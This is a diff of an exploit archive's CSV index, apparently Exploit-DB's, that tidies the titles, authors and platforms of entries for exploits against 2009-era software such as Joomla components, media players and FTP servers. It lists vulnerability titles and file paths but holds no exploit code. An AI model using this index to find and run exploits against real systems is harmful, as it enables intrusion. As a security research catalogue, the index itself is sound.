+10051,platforms/php/webapps/10051.txt,"QuickCart 3.x - XSS/CSRF/LFI/Directory Traversal",2009-10-08,kl3ryk,php,webapps,0
 10052,platforms/php/webapps/10052.txt,"The BMW inventory.php SQL Injection",2009-10-08,Dazz,php,webapps,0
 10053,platforms/windows/remote/10053.txt,"httpdx 1.4 Get Request Buffer Overflow",2009-10-08,"Pankaj Kohli",windows,remote,80
-10054,platforms/windows/remote/10054.txt,"SAP GUI VSFlexGrid.VSFlexGridL sp<=14 Buffer Overflow",2008-11-26,"Elazar Broad",windows,remote,0
+10054,platforms/windows/remote/10054.txt,"SAP GUI VSFlexGrid.VSFlexGridL sp <= 14 - Buffer Overflow",2008-11-26,"Elazar Broad",windows,remote,0
 10055,platforms/hardware/remote/10055.txt,"HP Multiple LaserJet Printer xss",2009-07-04,sh2kerr,hardware,remote,80
 10056,platforms/windows/remote/10056.py,"Ada Image Server <= 0.6.7 imgsrv.exe Buffer Overflow",2009-10-07,Blake,windows,remote,1235
 10057,platforms/php/webapps/10057.txt,"Aiocp 1.4.001 File Inclusion Vulnerability",2009-10-07,"Hadi Kiamarsi",php,webapps,0
 10058,platforms/php/webapps/10058.pl,"Joomla Recerca component SQL Injection",2009-10-07,"Don Tukulesto",php,webapps,0
-10059,platforms/jsp/webapps/10059.txt,"McAfee Network Security Manager <5.1.11.8.1 Information Disclosure Vulnerability",2009-11-12,"Daniel King",jsp,webapps,0
+10059,platforms/jsp/webapps/10059.txt,"McAfee Network Security Manager < 5.1.11.8.1 - Information Disclosure Vulnerability",2009-11-12,"Daniel King",jsp,webapps,0
 10060,platforms/linux/local/10060.sh,"Geany .18 Local File Overwrite",2009-10-06,"Jeremy Brown",linux,local,0
-10061,platforms/jsp/webapps/10061.txt,"McAfee Network Security Manager <5.1.11.8.1 Multiple Cross Site Scripting Vulnerabilities",2009-11-12,"Daniel King",jsp,webapps,0
-10062,platforms/windows/dos/10062.py,"Novell eDirectory 883ftf3 nldap module Denial of Service",2009-11-16,"Matteo Memelli",windows,dos,389
+10061,platforms/jsp/webapps/10061.txt,"McAfee Network Security Manager < 5.1.11.8.1 - Multiple Cross Site Scripting Vulnerabilities",2009-11-12,"Daniel King",jsp,webapps,0
+10062,platforms/windows/dos/10062.py,"Novell eDirectory 883ftf3 nldap module Denial of Service",2009-11-16,ryujin,windows,dos,389
 10064,platforms/php/webapps/10064.txt,"Joomla CB Resume Builder SQL Injection",2009-10-05,kaMtiEz,php,webapps,0
 10067,platforms/php/webapps/10067.txt,"Joomla Soundset 1.0 SQL Injection",2009-10-05,kaMtiEz,php,webapps,0
 10068,platforms/windows/dos/10068.rb,"Microsoft Windows 2000-2008 Embedded OpenType Font Engine Remote Code Execution",2009-11-12,"H D Moore",windows,dos,0
@@ -9449,8 +9449,8 @@ id,file,description,date,author,platform,type,port
 10078,platforms/osx/local/10078.c,"VMWare Fusion <= 2.0.5 vmx86 kext local PoC",2009-10-02,mu-b,osx,local,0
 10079,platforms/windows/remote/10079.txt,"Google Apps mailto uri handler cross-browser remote command execution",2009-10-01,Pyrokinesis,windows,remote,0
 10080,platforms/windows/remote/10080.txt,"Oracle Network Authentication CVE-2009-1979 Remote Buffer Overflow Vulnerability",2009-11-09,"Dennis Yurichev",windows,remote,1521
-10081,platforms/hardware/remote/10081.txt,"Palm Pre WebOS <=1.1 Remote File Access Vulnerability",2009-10-05,"Townsend Ladd Harris",hardware,remote,0
-10082,platforms/php/webapps/10082.txt,"PBBoard <=2.0.2 - Full Path Disclosure",2009-10-06,rUnViRuS,php,webapps,0
+10081,platforms/hardware/remote/10081.txt,"Palm Pre WebOS <= 1.1 - Remote File Access Vulnerability",2009-10-05,"Townsend Ladd Harris",hardware,remote,0
+10082,platforms/php/webapps/10082.txt,"PBBoard <= 2.0.2 - Full Path Disclosure",2009-10-06,rUnViRuS,php,webapps,0
 10083,platforms/php/remote/10083.txt,"PHP <=5.3 - preg_match() full path disclosure",2009-09-27,"David Vieira-Kurz",php,remote,0
 10084,platforms/windows/local/10084.txt,"Quick Heal v.10.00 SP1 Local Privilege Escalation Vulnerability",2009-10-13,"Maxim A. Kulakov",windows,local,0
 10085,platforms/jsp/webapps/10085.txt,"ToutVirtual VirtualIQ Pro 3.2 Multiple Vulnerabilities",2009-11-07,"Alberto Trivero",jsp,webapps,0
@@ -9466,10 +9466,10 @@ id,file,description,date,author,platform,type,port
 10095,platforms/multiple/remote/10095.txt,"Samba 3.0.10 - 3.3.5 Format String And Security Bypass Vulnerabilities",2009-11-13,"Jeremy Allison",multiple,remote,0
 10096,platforms/php/webapps/10096.txt,"OS Commerce 2.2r2 authentication bypass",2009-11-13,"Stuart Udall",php,webapps,0
 10097,platforms/php/remote/10097.php,"PHP 5.2.11/5.3.0 Multiple Vulnerabilities",2009-11-13,"Maksymilian Arciemowicz",php,remote,0
-10098,platforms/windows/remote/10098.py,"Novell eDirectory 8.8 SP5 iConsole Buffer Overflow",2009-11-16,"Matteo Memelli",windows,remote,0
-10099,platforms/windows/remote/10099.py,"HP Power Manager Administration Universal Buffer Overflow Exploit",2009-11-16,"Matteo Memelli",windows,remote,80
+10098,platforms/windows/remote/10098.py,"Novell eDirectory 8.8 SP5 iConsole Buffer Overflow",2009-11-16,ryujin,windows,remote,0
+10099,platforms/windows/remote/10099.py,"HP Power Manager Administration Universal Buffer Overflow Exploit",2009-11-16,ryujin,windows,remote,80
 10100,platforms/windows/dos/10100.py,"FTPDMIN 0.96 (LIST) Remote Denial of Service Exploit",2007-03-20,shinnai,windows,dos,21
-10101,platforms/php/webapps/10101.txt,"Telepark Wiki  v2.4.23 Multiple Remote Vulnerabilities",2009-11-16,Abysssec,php,webapps,0
+10101,platforms/php/webapps/10101.txt,"Telepark Wiki 2.4.23 - Multiple Remote Vulnerabilities",2009-11-16,Abysssec,php,webapps,0
 10102,platforms/windows/dos/10102.pl,"Safari 4.0.3 (Win32) CSS Remote Denial of Service Exploit",2009-11-16,"Jeremy Brown",windows,dos,80
 10103,platforms/windows/dos/10103.txt,"Mozilla Thunderbird 2.0.0.23 Mozilla Seamonkey 2.0 (jar50.dll) Null Pointer Derefernce",2009-11-16,"Marcin Ressel",windows,dos,0
 10104,platforms/windows/dos/10104.py,"XM Easy Personal FTP Server 'APPE' and 'DELE' Command DoS",2009-11-13,zhangmc,windows,dos,21
@@ -9477,7 +9477,7 @@ id,file,description,date,author,platform,type,port
 10106,platforms/windows/dos/10106.c,"Avast 4.8.1351.0 antivirus aswMon2.sys Kernel Memory Corruption",2009-11-17,Giuseppe,windows,dos,0
 10107,platforms/windows/local/10107.pl,"Icarus 2.0 (.pgn File) Universal Local Buffer Overflow Exploit (SEH)",2009-11-17,"D3V!L FUCK3R",windows,local,0
 10160,platforms/windows/dos/10160.py,"FtpXQ authenticated remote Dos",2009-11-17,"Marc Doudiet",windows,dos,21
-10161,platforms/asp/webapps/10161.txt,"JBS v2.0 | JBSX - Administration panel bypass and Malicious File Upload Vulnerability",2009-11-17,blackenedsecurity,asp,webapps,0
+10161,platforms/asp/webapps/10161.txt,"JBS 2.0 / JBSX - Administration panel Bypass and File Upload Vulnerability",2009-11-17,blackenedsecurity,asp,webapps,0
 10162,platforms/windows/remote/10162.py,"Home FTP Server 'MKD' Command Directory Traversal Vulnerability",2009-11-17,zhangmc,windows,remote,21
 10163,platforms/windows/dos/10163.pl,"Novell eDirectory HTTPSTK Login Stack Overflow Vulnerability",2009-11-17,karak0rsan,windows,dos,80
 10164,platforms/windows/dos/10164.c,"Kaspersky AV 2010 9.0.0.463 Local DoS",2009-09-29,Heurs,windows,dos,0
@@ -9485,12 +9485,12 @@ id,file,description,date,author,platform,type,port
 10166,platforms/asp/webapps/10166.txt,"ActiveTrade 2.0 (default.asp) Blind SQL Injection Vulnerability",2009-11-17,"Hussin X",asp,webapps,0
 10167,platforms/asp/webapps/10167.txt,"ActiveBids (default.asp) Blind SQL Injection Vulnerability",2009-11-17,"Hussin X",asp,webapps,0
 10168,platforms/php/webapps/10168.txt,"Shoutbox 1.0 HTML / Xss Injection",2009-11-18,"SKuLL-HacKeR ",php,webapps,0
-10169,platforms/php/webapps/10169.txt,"Arbitrary File Download in phpMyBackupPro",2009-11-16,"Amol Naik",php,webapps,0
+10169,platforms/php/webapps/10169.txt,"phpMyBackupPro - Arbitrary File Download",2009-11-16,"Amol Naik",php,webapps,0
 10170,platforms/multiple/webapps/10170.txt,"Xerver 4.31, 4.32 HTTP Response Splitting",2009-11-18,s4squatch,multiple,webapps,80
 10171,platforms/windows/dos/10171.py,"Baby Web Server 2.7.2 Vulnerbility found Denial of Service(0day)",2009-11-18,"Asheesh Kumar Mani Tripathi",windows,dos,80
 10176,platforms/windows/dos/10176.txt,"HP Openview NNM 7.53 Invalid DB Error Code Vulnerability",2009-11-17,"Core Security",windows,dos,0
 10177,platforms/php/webapps/10177.txt,"Joomla Ext. iF Portfolio Nexus SQL injection",2009-11-18,"599eme Man",php,webapps,0
-10178,platforms/php/webapps/10178.txt,"Joomla / Mambo Component com_ezine v2.1 Remote File Include Vulnerability",2009-10-20,kaMtiEz,php,webapps,0
+10178,platforms/php/webapps/10178.txt,"Joomla / Mambo Component com_ezine 2.1 - Remote File Include Vulnerability",2009-10-20,kaMtiEz,php,webapps,0
 10180,platforms/php/webapps/10180.txt,"Simplog v0.9.3.2 Mutliple Vulnerabilities",2009-11-16,"Amol Naik",php,webapps,0
 10181,platforms/php/webapps/10181.txt,"Bitrix Site Manager 4.0.5 Remote File Inclusion Vulnerability",2005-06-15,"Don Tukulesto",php,webapps,0
 10182,platforms/hardware/dos/10182.py,"2wire Router <= 5.29.52 Remote DoS",2009-10-29,hkm,hardware,dos,0
@@ -9515,7 +9515,7 @@ id,file,description,date,author,platform,type,port
 10211,platforms/windows/local/10211.txt,"Autodesk SoftImage Scene TOC Arbitrary Command Execution",2009-11-23,"Core Security",windows,local,0
 10212,platforms/windows/local/10212.txt,"Autodesk 3DS Max Application Callbacks Arbitrary Command Execution",2009-11-23,"Core Security",windows,local,0
 10213,platforms/windows/local/10213.txt,"Autodesk Maya Script Nodes Arbitrary Command Execution",2009-11-23,"Core Security",windows,local,0
-10214,platforms/php/webapps/10214.txt,"Joomla Component mygallery  (farbinform_krell) Remote SQL Injection Vulnerability",2009-11-23,"MANAS58  BAYBORA",php,webapps,0
+10214,platforms/php/webapps/10214.txt,"Joomla Component mygallery (farbinform_krell) Remote SQL Injection Vulnerability",2009-11-23,"Manas58 BAYBORA",php,webapps,0
 10216,platforms/php/webapps/10216.txt,"KR-Web <= 1.1b2 Remote File Inclusion Vulnerability",2009-11-24,cr4wl3r,php,webapps,0
 10217,platforms/php/webapps/10217.txt,"NukeHall <= 0.3 Multiple Remote File Inclusion Vulnerabilities",2009-11-24,cr4wl3r,php,webapps,0
 10218,platforms/php/webapps/10218.txt,"Outreach Project Tool <= 1.2.6 Remote File Inclusion Vulnerability",2009-11-24,cr4wl3r,php,webapps,0
@@ -9528,7 +9528,7 @@ id,file,description,date,author,platform,type,port
 10225,platforms/windows/webapps/10225.txt,"MDaemon WebAdmin 2.0.X SQL injection",2006-05-26,KOUSULIN,windows,webapps,1000
 10226,platforms/windows/local/10226.py,"Serenity Audio Player Playlist (.m3u) BOF",2009-11-25,Rick2600,windows,local,0
 10227,platforms/php/webapps/10227.txt,"Joomla! 'com_mygallery' Component 'cid' Parameter SQL Injection Vulnerability",2009-11-25,S@BUN,php,webapps,0
-10228,platforms/php/webapps/10228.txt,"Vulnerabilities in WP-Cumulus <= 1.20 for WordPress",2009-11-25,MustLive,php,webapps,0
+10228,platforms/php/webapps/10228.txt,"WordPress WP-Cumulus <= 1.20 - Vulnerabilities",2009-11-25,MustLive,php,webapps,0
 10229,platforms/multiple/dos/10229.txt,"Python < 2.5.2 Imageop Module 'imageop.crop()' Buffer Overflow Vulnerability",2009-11-24,"Chris Evans",multiple,dos,0
 10230,platforms/php/webapps/10230.txt,"Fake Hit Generator <= 2.2 Shell Upload Vulnerability",2009-11-25,DigitALL,php,webapps,0
 10231,platforms/php/webapps/10231.txt,"Radio istek scripti 2.5 Remote Configuration Disclosure Vulnerability",2009-11-25,"kurdish hackers team",php,webapps,0
@@ -9568,14 +9568,14 @@ id,file,description,date,author,platform,type,port
 10267,platforms/multiple/local/10267.txt,"Oracle ctxsys.drvxtabc.create_tables Exploit",2009-12-01,"Andrea Purificato",multiple,local,0
 10268,platforms/multiple/local/10268.txt,"Oracle SYS.LT.REMOVEWORKSPACE Evil Cursor Exploit",2009-12-01,"Andrea Purificato",multiple,local,0
 10269,platforms/windows/remote/10269.html,"Haihaisoft Universal Player 1.4.8.0 'URL' Property ActiveX Buffer Overflow",2009-12-01,shinnai,windows,remote,0
-10272,platforms/php/webapps/10272.txt,"Joomla Joaktree Component v1.0 SQL Injection Vulnerability",2009-12-01,"Don Tukulesto",php,webapps,0
-10273,platforms/php/webapps/10273.txt,"Joomla MojoBlog Component  v0.15 Multiple Remote File Include Vulnerabilities",2009-12-01,kaMtiEz,php,webapps,0
+10272,platforms/php/webapps/10272.txt,"Joomla Joaktree Component 1.0 - SQL Injection Vulnerability",2009-12-01,"Don Tukulesto",php,webapps,0
+10273,platforms/php/webapps/10273.txt,"Joomla MojoBlog Component v0.15 Multiple Remote File Include Vulnerabilities",2009-12-01,kaMtiEz,php,webapps,0
 10274,platforms/php/webapps/10274.txt,"Simple Machines Forum Multiple Security Vulnerabilities",2009-12-02,"SimpleAudit Team",php,webapps,0
 10275,platforms/php/webapps/10275.txt,"Kide Shoutbox v0.4.6 XSS & AXFR",2009-12-02,andresg888,php,webapps,0
 10276,platforms/hardware/webapps/10276.txt,"Huawei MT882 Modem/Router Multiple Vulnerabilities",2009-12-03,DecodeX01,hardware,webapps,0
 10277,platforms/php/webapps/10277.txt,"Thatware <= 0.5.3 Multiple Remote File Include Exploit",2009-12-03,cr4wl3r,php,webapps,0
 10280,platforms/windows/local/10280.py,"AIMP2 Audio Converter <= 2.53 build 330 Playlist (.pls) Unicode BOF",2009-11-21,mr_me,windows,local,0
-10281,platforms/windows/local/10281.php,"Adobe Illustrator CS4 v14.0.0 Encapsulated Postscript (.eps) Buffer Overflow Exploit",2009-12-03,pyrokinesis,windows,local,0
+10281,platforms/windows/local/10281.php,"Adobe Illustrator CS4 14.0.0 - Encapsulated Postscript (.eps) Buffer Overflow Exploit",2009-12-03,Pyrokinesis,windows,local,0
 10282,platforms/linux/remote/10282.py,"OrzHTTPd Format String Exploit",2009-12-03,"Patroklos Argyroudis",linux,remote,80
 10284,platforms/php/webapps/10284.txt,"ita-forum 5.1.32 SQL Injection",2009-11-30,Baybora,php,webapps,0
 10285,platforms/php/webapps/10285.txt,"Public Media Manager",2009-12-01,cr4wl3r,php,webapps,0
@@ -9585,25 +9585,25 @@ id,file,description,date,author,platform,type,port
 10289,platforms/php/webapps/10289.txt,"Power BB 1.8.3 Remote File Includes",2009-11-25,DigitALL,php,webapps,0
 10290,platforms/php/webapps/10290.txt,"Theeta CMS (Cross Site Scripting,SQL Injection) Multiple Vulnerabilities",2009-12-03,c0dy,php,webapps,0
 10291,platforms/php/webapps/10291.txt,"Joomla! ProofReader Component 1.0 RC6 Cross-Site Scripting Vulnerability",2009-12-01,MustLive,php,webapps,0
-10292,platforms/multiple/webapps/10292.txt,"Apache Tomcat  v3.2.1 404 Error Page Cross Site Scripting Vulnerability",2009-12-01,MustLive,multiple,webapps,0
+10292,platforms/multiple/webapps/10292.txt,"Apache Tomcat 3.2.1 - 404 Error Page Cross Site Scripting Vulnerability",2009-12-01,MustLive,multiple,webapps,0
 10293,platforms/php/webapps/10293.txt,"PHP-Nuke <= 8.0 XSS & HTML Code Injection in News Module",2009-11-27,K053,php,webapps,0
-10294,platforms/php/webapps/10294.txt,"OSI Codes PHP Live! Support v3.1 Remote File Inclusion Vulnerability",2009-11-24,"Don Tukulesto",php,webapps,0
+10294,platforms/php/webapps/10294.txt,"OSI Codes PHP Live! Support 3.1 - Remote File Inclusion Vulnerability",2009-11-24,"Don Tukulesto",php,webapps,0
 10295,platforms/windows/local/10295.txt,"DAZ Studio Arbitrary Command Execution",2009-12-03,"Core Security",windows,local,0
 10296,platforms/php/local/10296.txt,"PHP 'ini_restore()' Memory Information Disclosure Vulnerability",2009-12-03,"Maksymilian Arciemowicz",php,local,0
 10297,platforms/php/webapps/10297.php,"Vivid Ads Shopping Cart (prodid) Remote SQL Injection",2009-12-03,"Yakir Wizman",php,webapps,0
-10298,platforms/windows/local/10298.c,"Jasc Paint Shop Pro v8 Local Buffer Overflow Exploit (UNIVERSAL)",2009-12-04,"fl0 fl0w",windows,local,0
-10299,platforms/php/webapps/10299.txt,"GeN3 forum V1.3 SQL Injection Vulnerability",2009-12-04,"Dr.0rYX and Cr3w-DZ",php,webapps,0
+10298,platforms/windows/local/10298.c,"Jasc Paint Shop Pro 8 - Local Buffer Overflow Exploit (UNIVERSAL)",2009-12-04,"fl0 fl0w",windows,local,0
+10299,platforms/php/webapps/10299.txt,"GeN3 forum 1.3 - SQL Injection Vulnerability",2009-12-04,"Dr.0rYX and Cr3w-DZ",php,webapps,0
 10302,platforms/php/webapps/10302.txt,"427BB Fourtwosevenbb <= 2.3.2 SQL Injection Exploit",2009-12-04,cr4wl3r,php,webapps,0
 10303,platforms/windows/dos/10303.py,"Core FTP Server 1.0 Build 319 Denial of Service",2009-12-04,"Mert SARICA",windows,dos,0
-10304,platforms/php/webapps/10304.txt,"Invision Power Board <= 3.0.4 LFI and <=3.0.4 and <=2.3.6 SQL Injection",2009-12-04,"Dawid Golunski",php,webapps,0
+10304,platforms/php/webapps/10304.txt,"Invision Power Board <= 3.0.4 LFI and <= 3.0.4 and <= 2.3.6 SQL Injection",2009-12-04,"Dawid Golunski",php,webapps,0
 10305,platforms/php/webapps/10305.txt,"UBB.threads 7.5.4 2 Multiple File Inclusion Vulnerabilities",2009-12-04,R3VAN_BASTARD,php,webapps,0
 10306,platforms/php/webapps/10306.txt,"Achievo 1.4.2 Arbitrary File Upload",2009-12-04,"Nahuel Grisolia",php,webapps,0
 10307,platforms/php/webapps/10307.txt,"Achievo 1.4.2 Permanent Cross-Site Scripting",2009-12-04,"Nahuel Grisolia",php,webapps,0
-10312,platforms/php/webapps/10312.php,"Joomla 1.5.x com_joomgallery&func  Incorrect Flood Filter",2009-12-04,Jbyte,php,webapps,0
+10312,platforms/php/webapps/10312.php,"Joomla 1.5.x com_joomgallery&func Incorrect Flood Filter",2009-12-04,Jbyte,php,webapps,0
 10313,platforms/linux/local/10313.c,"libmodplug 's3m' Remote Buffer Overflow Vulnerability",2008-02-25,dummy,linux,local,0
 10314,platforms/php/webapps/10314.txt,"BM Classifieds Ads SQL Injection Vulnerability",2009-12-04,"Dr.0rYX and Cr3w-DZ",php,webapps,0
 10318,platforms/php/webapps/10318.txt,"Joomla yt_color YOOOtheme XSS and Cookie Stealing",2009-12-04,andresg888,php,webapps,80
-10319,platforms/windows/local/10319.py,"IDEAL Administration 2009 v9.7 Local Buffer Overflow Exploit",2009-12-05,Dr_IDE,windows,local,0
+10319,platforms/windows/local/10319.py,"IDEAL Administration 2009 9.7 - Local Buffer Overflow Exploit",2009-12-05,Dr_IDE,windows,local,0
 10320,platforms/windows/local/10320.py,"M3U To ASX-WPL 1.1 (m3u Playlist file) Buffer Overflow Exploit",2009-12-05,Encrypt3d.M!Nd,windows,local,0
 10321,platforms/windows/local/10321.py,"HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit",2009-12-05,Encrypt3d.M!Nd,windows,local,0
 10322,platforms/windows/local/10322.py,"Audacity 1.2.6 (gro File) Buffer overflow Exploit",2009-12-05,Encrypt3d.M!Nd,windows,local,0
@@ -9613,9 +9613,9 @@ id,file,description,date,author,platform,type,port
 10326,platforms/multiple/local/10326.txt,"Ghostscript < 8.64 'gdevpdtb.c' Buffer Overflow Vulnerability",2009-02-03,"Wolfgang Hamann",multiple,local,0
 10327,platforms/multiple/local/10327.txt,"Ghostscript 'CCITTFax' Decoding Filter Denial of Service Vulnerability",2009-04-01,"Red Hat",multiple,local,0
 10329,platforms/php/webapps/10329.txt,"AROUNDMe <= 1.1 (language_path) Remote File Include Exploit",2009-12-06,cr4wl3r,php,webapps,0
-10330,platforms/php/webapps/10330.txt,"elkagroup  SQL Injection Vulnerability",2009-12-06,SadHaCkEr,php,webapps,0
+10330,platforms/php/webapps/10330.txt,"elkagroup SQL Injection Vulnerability",2009-12-06,SadHaCkEr,php,webapps,0
 10331,platforms/windows/webapps/10331.txt,"iWeb HTTP Server Directory Transversal Vulnerability",2009-12-06,mr_me,windows,webapps,0
-10332,platforms/windows/local/10332.rb,"IDEAL Administration 2009 v9.7 Buffer Overflow - MSF Universal",2009-12-06,dookie,windows,local,0
+10332,platforms/windows/local/10332.rb,"IDEAL Administration 2009 9.7 - Buffer Overflow - MSF Universal",2009-12-06,dookie,windows,local,0
 10333,platforms/windows/dos/10333.py,"VLC Media Player 1.0.3 smb:// URI Handling Remote Stack Overflow PoC",2009-12-06,Dr_IDE,windows,dos,0
 10334,platforms/multiple/dos/10334.py,"VLC Media Player <= 1.0.3 RTSP Buffer Overflow PoC (OSX/Linux)",2009-12-06,Dr_IDE,multiple,dos,0
 10335,platforms/windows/local/10335.rb,"HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit (Meta)",2009-12-07,loneferret,windows,local,0
@@ -9625,7 +9625,7 @@ id,file,description,date,author,platform,type,port
 10340,platforms/windows/remote/10340.pl,"Multiple Symantec Products Intel Common Base Agent Remote Command Execution",2009-04-28,Kingcope,windows,remote,0
 10341,platforms/php/webapps/10341.txt,"SiSplet CMS <= 2008-01-24 Multiple Remote File Include Exploit",2009-12-07,cr4wl3r,php,webapps,0
 10343,platforms/windows/dos/10343.txt,"Kingsoft Internet Security 9 Denial of Services",2009-11-05,"Francis Provencher",windows,dos,0
-10344,platforms/windows/local/10344.rb,"Adobe Illustrator CS4 v14.0.0 eps Universal Buffer Overflow (meta)",2009-12-07,dookie,windows,local,0
+10344,platforms/windows/local/10344.rb,"Adobe Illustrator CS4 14.0.0 - eps Universal Buffer Overflow (meta)",2009-12-07,dookie,windows,local,0
 10345,platforms/windows/local/10345.py,"gAlan (.galan file) Universal Buffer Overflow Exploit",2009-12-07,Dz_attacker,windows,local,0
 10346,platforms/windows/local/10346.rb,"gAlan 0.2.1 Universal Buffer Overflow Exploit (meta)",2009-12-07,loneferret,windows,local,0
 10347,platforms/hardware/webapps/10347.txt,"Barracuda IMFirewall 620 Vulnerability",2009-12-07,Global-Evolution,hardware,webapps,0
@@ -9636,27 +9636,27 @@ id,file,description,date,author,platform,type,port
 10353,platforms/windows/local/10353.pl,"Audio Workstation(.pls) Local Buffer Overflow Exploit (SEH)",2009-09-24,germaya_x,windows,local,0
 10354,platforms/php/webapps/10354.txt,"Viscacha 0.8 Gold persistant XSS vulnerability",2009-12-08,mr_me,php,webapps,0
 10356,platforms/php/webapps/10356.txt,"Joomla Component com_job (showMoreUse) SQL injection vulnerability",2009-12-08,Palyo34,php,webapps,0
-10357,platforms/php/webapps/10357.txt,"Alqatari group Version 1.0 <== 5.0 (id) Remote SQL Injection Vulnerability",2009-12-08,Red-D3v1L,php,webapps,0
-10358,platforms/php/webapps/10358.txt,"AlefMentor 2.0  <== 5.0 (id) Remote SQL Injection Vulnerability",2009-12-08,Red-D3v1L,php,webapps,0
-10359,platforms/windows/local/10359.py,"Audio Workstation v6.4.2.4.0 (.pls) Universal Local BoF Exploit",2009-12-09,mr_me,windows,local,0
+10357,platforms/php/webapps/10357.txt,"Alqatari group Version 1.0 <= 5.0 - (id) Remote SQL Injection Vulnerability",2009-12-08,Red-D3v1L,php,webapps,0
+10358,platforms/php/webapps/10358.txt,"AlefMentor 2.0 <= 5.0 - (id) Remote SQL Injection Vulnerability",2009-12-08,Red-D3v1L,php,webapps,0
+10359,platforms/windows/local/10359.py,"Audio Workstation 6.4.2.4.0 - (.pls) Universal Local BoF Exploit",2009-12-09,mr_me,windows,local,0
 10361,platforms/php/webapps/10361.txt,"Real Estate Portal X.0 (Auth Bypass) Remote Sql Injection",2009-12-09,"AnTi SeCuRe",php,webapps,0
 10362,platforms/hardware/remote/10362.txt,"THOMSON TG585n 7.4.3.2 (user.ini) Arbitrary Download Vulnerability",2009-12-09,"AnTi SeCuRe",hardware,remote,0
 10363,platforms/windows/local/10363.rb,"Audio Workstation 6.4.2.4.3 pls Buffer Overflow (meta)",2009-12-09,dookie,windows,local,0
-10364,platforms/php/webapps/10364.txt,"Multiple XSS and Injection Vulnerabilities in TestLink Test Management and Execution System",2009-12-09,"Core Security",php,webapps,0
+10364,platforms/php/webapps/10364.txt,"TestLink Test Management and Execution System - Multiple XSS and Injection Vulnerabilities",2009-12-09,"Core Security",php,webapps,0
 10365,platforms/windows/remote/10365.rb,"Eureka Email 2.2q ERR Remote Buffer Overflow Exploit (meta)",2009-12-09,dookie,windows,remote,0
 10366,platforms/php/webapps/10366.txt,"Joomla Component com_jsjobs 1.0.5.6 SQL Injection Vulnerabilities",2009-12-10,kaMtiEz,php,webapps,0
 10367,platforms/php/webapps/10367.txt,"Joomla Component com_jphoto SQL Injection Vulnerability - (id)",2009-12-10,kaMtiEz,php,webapps,0
 10368,platforms/asp/webapps/10368.txt,"Free ASP Upload Shell Upload Vulnerability",2009-12-10,Mr.aFiR,asp,webapps,0
 10369,platforms/php/webapps/10369.txt,"Joomla! Mamboleto Component 2.0 RC3 Remote File Include Vulneralbility",2009-12-10,"Don Tukulesto",php,webapps,0
-10370,platforms/php/webapps/10370.txt,"PHP Inventory v1.2 Remote (Auth Bypass) SQL Injection Vulnerabiity",2009-12-10,mr_me,php,webapps,0
+10370,platforms/php/webapps/10370.txt,"PHP Inventory 1.2 - Remote (Auth Bypass) SQL Injection Vulnerabiity",2009-12-10,mr_me,php,webapps,0
 10371,platforms/windows/local/10371.pl,"Xenorate 2.50(.xpl) universal Local Buffer Overflow Exploit (SEH)",2009-12-10,germaya_x,windows,local,0
-10372,platforms//webapps/10372.txt,"Blind SQL/XPath injection in OPMANAGER",2009-12-10,"Asheesh Kumar Mani Tripathi",,webapps,0
+10372,platforms/aix/webapps/10372.txt,"OPMANAGER - Blind SQL/XPath injectio",2009-12-10,"Asheesh Kumar Mani Tripathi",aix,webapps,0
 10373,platforms/windows/local/10373.rb,"Xenorate 2.50(.xpl) universal Local Buffer Overflow Exploit (SEH) (meta)",2009-12-10,"loneferret germaya_x",windows,local,0
 10374,platforms/windows/local/10374.pl,"Easy RM to MP3 Converter 2.7.3.700",2009-12-10,"Vinod Sharma",windows,local,0
 10375,platforms/windows/remote/10375.html,"SAP GUI for Windows sapirrfc.dll Activex Overflow Exploit",2009-12-10,Abysssec,windows,remote,0
-10376,platforms/windows/webapps/10376.txt,"Billwerx RC v3.1 Multiple Vulnerabilities",2009-12-11,mr_me,windows,webapps,80
+10376,platforms/windows/webapps/10376.txt,"Billwerx RC 3.1 - Multiple Vulnerabilities",2009-12-11,mr_me,windows,webapps,80
 10377,platforms/windows/dos/10377.txt,"IBM SolidDB invalid error code vulnerability",2009-11-18,"Core Security",windows,dos,2315
-10378,platforms/php/webapps/10378.txt,"Remote Code Execution in Nuggetz CMS 1.0",2009-12-10,"Amol Naik",php,webapps,0
+10378,platforms/php/webapps/10378.txt,"Nuggetz CMS 1.0 - Remote Code Execution",2009-12-10,"Amol Naik",php,webapps,0
 10379,platforms/php/webapps/10379.txt,"oBlog Persistant XSS, CSRF, Admin Bruteforce",2009-12-11,"Milos Zivanovic",php,webapps,0
 10380,platforms/windows/remote/10380.pl,"Sunbird 0.9 Array Overrun (code	execution) 0day",2009-12-11,"Maksymilian Arciemowicz and sp3x",windows,remote,0
 10383,platforms/php/webapps/10383.txt,"Digital Scribe 1.4.1 Multiple SQL Injection Vulnerabilities",2009-12-11,"Salvatore Fresta",php,webapps,0
@@ -9671,73 +9671,73 @@ id,file,description,date,author,platform,type,port
 10394,platforms/windows/remote/10394.py,"HP NNM 7.53 ovalarm.exe CGI Pre Authentication Remote Buffer Overflow",2009-12-12,"sinn3r and muts",windows,remote,80
 10395,platforms/php/webapps/10395.txt,"Miniweb 2.0 Full Path Disclosure",2009-12-12,"Salvatore Fresta",php,webapps,0
 10396,platforms/linux/local/10396.pl,"Mozilla Codesighs Memory Corruption PoC",2009-12-12,"Jeremy Brown",linux,local,0
-10398,platforms/php/webapps/10398.txt,"ZeeCareers v2x - PHP HR Manager Website [ XSS / Auth Bypass ]",2009-12-12,bi0,php,webapps,0
-10400,platforms/php/webapps/10400.txt,"Acc Auto Dealer Script v5.0 Persistent XSS and SQL Backup",2009-12-13,bi0,php,webapps,0
+10398,platforms/php/webapps/10398.txt,"ZeeCareers 2.x - PHP HR Manager Website [ XSS / Auth Bypass ]",2009-12-12,bi0,php,webapps,0
+10400,platforms/php/webapps/10400.txt,"Acc Auto Dealer Script 5.0 - Persistent XSS and SQL Backup",2009-12-13,bi0,php,webapps,0
 10401,platforms/php/webapps/10401.txt,"iDesk (download.php cat_id) SQL Injection Vulnerability",2009-12-13,Manas58,php,webapps,0
-10403,platforms/php/webapps/10403.txt,"Uploadscript v1.0. Multiple Vulnerabilities",2009-12-13,Mr.aFiR,php,webapps,0
+10403,platforms/php/webapps/10403.txt,"Uploadscript 1.0 - Multiple Vulnerabilities",2009-12-13,Mr.aFiR,php,webapps,0
 10404,platforms/php/webapps/10404.txt,"Interspire Shopping Cart Full Path Disclosure",2009-12-13,Mr.aFiR,php,webapps,0
-10406,platforms/php/webapps/10406.txt,"AccStatistics v1.1 XSRF Vulnerability (Change Admin Settings)",2009-12-13,"Milos Zivanovic ",php,webapps,0
